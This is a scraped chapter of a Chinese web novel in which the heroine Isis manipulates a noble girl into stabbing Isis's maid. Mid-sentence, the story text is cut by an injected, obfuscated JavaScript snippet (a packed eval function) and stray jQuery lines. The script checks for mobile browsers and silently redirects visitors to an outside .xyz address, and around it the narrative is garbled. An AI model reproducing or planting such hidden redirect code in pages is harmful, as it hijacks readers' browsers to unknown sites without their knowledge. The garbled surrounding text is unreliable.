默认冷灰
24号文字
方正启体

33.第 33 章

作者:越钤本书字数:K更新时间:
    伊西斯确信,整件事情的节奏始终掌握在她手里。


    奥尔科特家族纹章是一个不那么隐秘的秘密,恰好,因为斯特雷奇和洛威尔伯爵卖力的调查,她知道了这个秘密。


    纹章“沥血”,在自己失血的时候,会获得更强大的力量。失去的血液越多获得的力量就越强大,传说在失血将死的时候正是他们最强大的时候——在那一刹那,他们的力量甚至强大到可以移山填海,比肩神明。


    父亲只是喜欢这样强大的纹章,比起洛威尔家这样不足够暴力的纹章,他却暗自偏爱这种直白的力量。他看到了纹章的强大与这种强大和洛威尔家纹章之间的潜力,但伊西斯敏锐的察觉到了这个纹章对于一个奥尔科特的意义。


    血液对奥尔科特来说,就是力量和生命之源。在他们肆无忌惮的挥舞这股力量的时候,必会更加坚信自己的想法。


    很难会有人不感到血液是一种美丽的化身,奥尔科特尤其如此。当他们看到殷红的血液的时候,感受到的是常人所无法想象的强大力量,基于此他们能凌驾于众人之上,进入赫赫有名的古纹章行列。


    他们的欲求如此浅薄,思维如此狭窄。恰恰因为没有真正的纹章,伊西斯才能看到这些纹章贵族思考所无法触及的边界。他们的一举一动都带着家世的烙印,他们的眼界永远被囚于仅有纹章的世界。


    作为一个没有纹章的人,伊西斯反而能获得一个冷眼旁观,辨别思考的机会。就像一个目障者会获得更加敏锐的听力,她没有纹章,却能听见隐藏在纹章下的世界。


    那是触及更深层的共性,是人心。她坐拥“纹章”却没有真正的纹章,位于世界的缝隙之间反而能更强烈的感受到其中的冲突。她理解纹章者眼中的世界,构筑起他们思维的脉络,读懂他们的一举一动,进而参与其中,引诱着他们做出有利于伊西斯的想法与抉择。


    这是任何纹章力量检测工具也检测不到的力量。在拥有纹章的人眼中,只有纹章象征着力量,所以这种力量便被理所当然的忽视了。纹章并不缺乏精神系,但洛威尔家这样的纹章无法影响到一个坚定之人的心。这种力量究其源头,是来源于自身的一种非纹章的信念。


    她用鲜血勾引了艾希。


    作为一个奥尔科特,艾希当然无法抵抗这种自幼亲自理解和体会的诱惑。过往经历狩猎中的血,对于“新玩具”考验时的血,一切都在勾动她最原始的冲动。她不喜欢家族带来的困境,但家族带来的理念早已深刻的刻在她的灵魂上,在她无知无觉的时候发挥作用。


    伊西斯只需要利用这一点。


    她在猎场中顺水推舟的将猎物和流血结合在了自己身上,但却是以一个猎手的身份。


    原来血也能让其他人变得与众不同,艾希会这样想吧。


    但她并不讨厌艾希。


    她和艾希共乘一骑,为此她提前驱散了跟随自己的侍卫。一切按部就班的发生了,深夜的谈话让艾希认为她也许是个有意思的、可以交谈的人,但这并不意味这她确实在她孩子般的好奇心中完全拥有了一席之地。


    那其中有多少艾希的一时兴起,也许伊西斯知道的比艾希本人更多。


    所以她需要更进一步。因为艾希的出现,她原本的计划也调整了些许。她要将原本准备的棋子作为踏上艾希这条船的垫板。


    “确实很遗憾。”伊西斯站在走廊的窗前,自言自语道,“我原本想要在她身上复刻过去,那将是一出精彩的悲剧,让我能从另一个角度思考那段经历。”


    但现在,有更关键的地方需要用上绵羊。


    尽管很不希望承认,但她在第一次看到绵羊的时候,想到的竟然是幼年时候的自己。那时候的自己懵懂无知,被引导着扭曲着认识这个世界。


    在想到这段可耻的历史时,她只想毁掉它。她可以从这段耻辱的过去中吸取教训,但决不允许它长久的徘徊于眼前。


    但忍耐也是一门必修课。


    推动一个人的命运,只需要一句轻飘飘的话语,正是她让绵羊落入如今的境地。


    深夜艾希在花园中徘徊,佩刀锋利的刀尖像一颗亮闪闪的星星。


    “也许这是一个更好的实验,比起爱,恨总会更深刻一些。在离开的时间里,我可不希望被遗忘。”


    伊西斯看着艾希不紧不慢的走走停停,似乎在思考什么。那是她蓄意引导的结果,她在等待着下一场戏的登场。


    艾希走到了她幼年时居住过的那个房间前,抬头仰望着那顶熟悉的透气窗。那是母亲还在时候的幼年记忆,她就住在那样的地方。


    伊西斯的面目悄然扭曲了刹那,她从未在人前表现过对那段记忆如此强烈的厌恶,因为这只会招来豺狼无情的趁虚而入。


    “这就是命运的巧合吧。”伊西斯冷冷说。


    艾希站了一会儿,似乎是想到了什么,脚步轻盈的离开了。


    “看来是明天了。”伊西斯表情舒展,微笑着说。


    前奏已经就绪,一切在她的安排下注定发生。


    她只需要在恰当的时机登场,她的计划终将实现。


    曾经她会因为父亲的脚步声心惊肉跳,因为那脚步声对于这府邸中的人来说是一种灾难的信号,灾难来临前远比降临时更可怕。现在她将这份恐惧传给了绵羊,这种乐趣让人愉悦。


    承受了过于敏锐的痛苦,自然也乐意将这种痛苦在他人身上反复实验。人究竟是怎样的生物呢?只有不断地测试,她才能完全揣摩出一个答案。


    她确确实实是一个教廷眼中的魔鬼,一个罪无可恕者。可她也不追求教廷的宽恕,她只是想要属于自己的答案。


    黄昏时分,逢魔时刻。夕阳的余晖从大地降落,昼与夜在此颠倒轮转。


    绵羊消失了,从这座邸宅中悄无声息的蒸发。没有人在意她的去向,抛开作为伯爵小姐贴身侍女的职位,她是如此无足轻重。仆人们忙忙碌碌的准备晚餐,低着头从伊西斯面前匆匆跑过。


    一层无形的屏障隔开了伊西斯、绵羊和这座邸宅的关系,仿佛站在时间的缝隙回望着这个陌生世界的流动,而一切都和她们无关。


    是时候了。


    蜡油滴落,蜡烛燃尽,时间不紧不慢向前走着。也许晚餐已经开始了,但绵羊没有来告知她,所以她也理应忘记了此事。走廊里的仆人们也消失的无影无踪,邸宅中的热闹全都被吸去了某处,留下一片荒凉的夕阳与月。


    冷风将窗吹得砰砰作响,伊西斯顺着楼梯向下,穿过空荡荡的大厅,她要制造一个仇恨者,和一个能够为她所用的上位者。只有仇恨能轻易挑动情绪,永远记住并为她所用。


    仇恨是最牢固的记忆,伊西斯突然回想起了快要回来的父亲,轻轻笑了。


    黄昏的花园荒凉,但来自北境的狩猎者不会在乎。在此刻将祭品献祭给日与夜,刀锋的血将唤起人类最原始的记忆。


    她听见了血液流入大地的声音,就这样流淌、灌溉、滋养出新生。


    衣角的摩挲声、痛苦的呜咽声在空气中落成一片虚无,走进葡萄架里,伊西斯看见了两个人。


    一个人穿得整洁利落,白色的发丝如雪一般耀眼。另一人半坐在葡萄架下,暗红的血淌在手边,金发散乱的蒙住脸庞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691956|164433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,只露出了一双深沉又泛着蓝的眼睛。


    黄昏时分,艾希叫来了绵羊。


    “西西为什么会挑中你做她的侍女?”艾希轻快地笑着。


    “大,大概是因为小姐看我比较可怜。”绵羊的手攥着裙角,紧张地揉搓着。


    公爵小姐突然把她叫到这样一个僻静的地方,一些不好的记忆隐隐在脑中浮现,但她还不能离开这里,因为这是公爵小姐的命令。


    察觉到艾希对伊西斯并不厌恶,绵羊抬头看了一眼艾希,又迅速低下头去,“小姐是个非常心地善良的人,之前我被其他人欺负,让我替她们干活的时候,正好遇到了小姐。小姐就让我做她的侍女,这样就不用被欺负了。”


    伊西斯是个善良的人,这真是一个荒谬又违心的称赞。但她说的也确实是事实的一部分,只是舍弃了另一些阴暗的思考。


    绵羊绞尽脑汁地思考着怎么打破自己糟糕的处境,她不知道艾希究竟想做什么,但她感觉到了危险将近。这样逃无可逃的灾难让她手足无措,忽然又想起了昨天深夜缓慢逼进的脚步声。


    一点点,一点点地靠近,迟迟不落下的结局,只能不断地沉浸在对结局的猜想之中,将自己逼入痛苦的深渊。


    被这样夹在不可名状的漩涡中,为了自己的生存拼命挣扎,却怎么也逃不脱,怎么也无法避免,更加无法战胜。


    为什么总是她?她只是想要一个贵族们不在乎的,一个活下去的机会而已。


    艾希抓住佩刀的刀柄,绵羊感受到了刀锋上缠绕的血腥气。这刀和绵羊曾经握住的刀不一样,这是一把斩杀过无数猎物的刀,生来便是要沾满鲜血的。


    “你是她的侍女,我相信她的眼光。”艾希说。


    她端详着这个平平无奇的侍女,在她的刀前开始懦弱的颤抖。这样有着勃勃生机的东西,她期待能制作出怎样的杰作,也想看到伊西斯看到这些的时候诧异又钦佩的神情。


    是的,伊西斯不懂怎么戏弄这个侍女,她把这个小家伙养的平庸无趣,而她则想要向她展现更让人感到灵魂颤栗、更加触动心神的场景。


    就像伊西斯拉弓的那个瞬间一样的场景。


    刀扎进身体,绵羊握紧了拳头,没有做出任何反抗。她只是呜咽出声,就像被送上祭坛,无能为力的祭品。


    她感觉自己的后背撞在了什么东西上,随后出血带来的脱力感让她缓缓滑落在地,但她的眼睛死死盯着艾希,盯着这位尊贵的公爵小姐,这位用她取乐的公爵小姐。


    伊西斯什么时候来呢,艾希漫不经心的想着。她看着绵羊藏着恨意的目光,认为伊西斯也是时候发现自己侍女的失踪,快要找到这里了。


    伊西斯那样敏锐的人,肯定能猜到一些吧?她想她会喜欢这个惊喜,这大概就是这个名为绵羊的侍女仅存的一些价值了。


    艾希对于并不反抗的绵羊略微有些失望,但这份失望很快被做坏事的兴奋取代,她很期待伊西斯看到时候的样子。也许伊西斯会同样觉得有趣,那她就可以教授她应该怎样正确的玩弄这些东西。


    潜意识里,艾希也察觉到了自己对伊西斯莫名的依赖。但她是一个上位者,她必须让伊西斯钦佩她,不能容忍自己处于软弱的位置。她喜欢伊西斯,但绝不愿意让伊西斯左右自己的决定。


    趁着现在,伊西斯还需要她,还不能拒绝她的时候。


    艾希听到了属于伊西斯的脚步声,她满怀期待的回过头去,看到那个少女紫眸中讥讽的眼神,她高高在上的俯视她。


    “你把我的玩具毁了,艾希。”


    伊西斯冷冷地说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)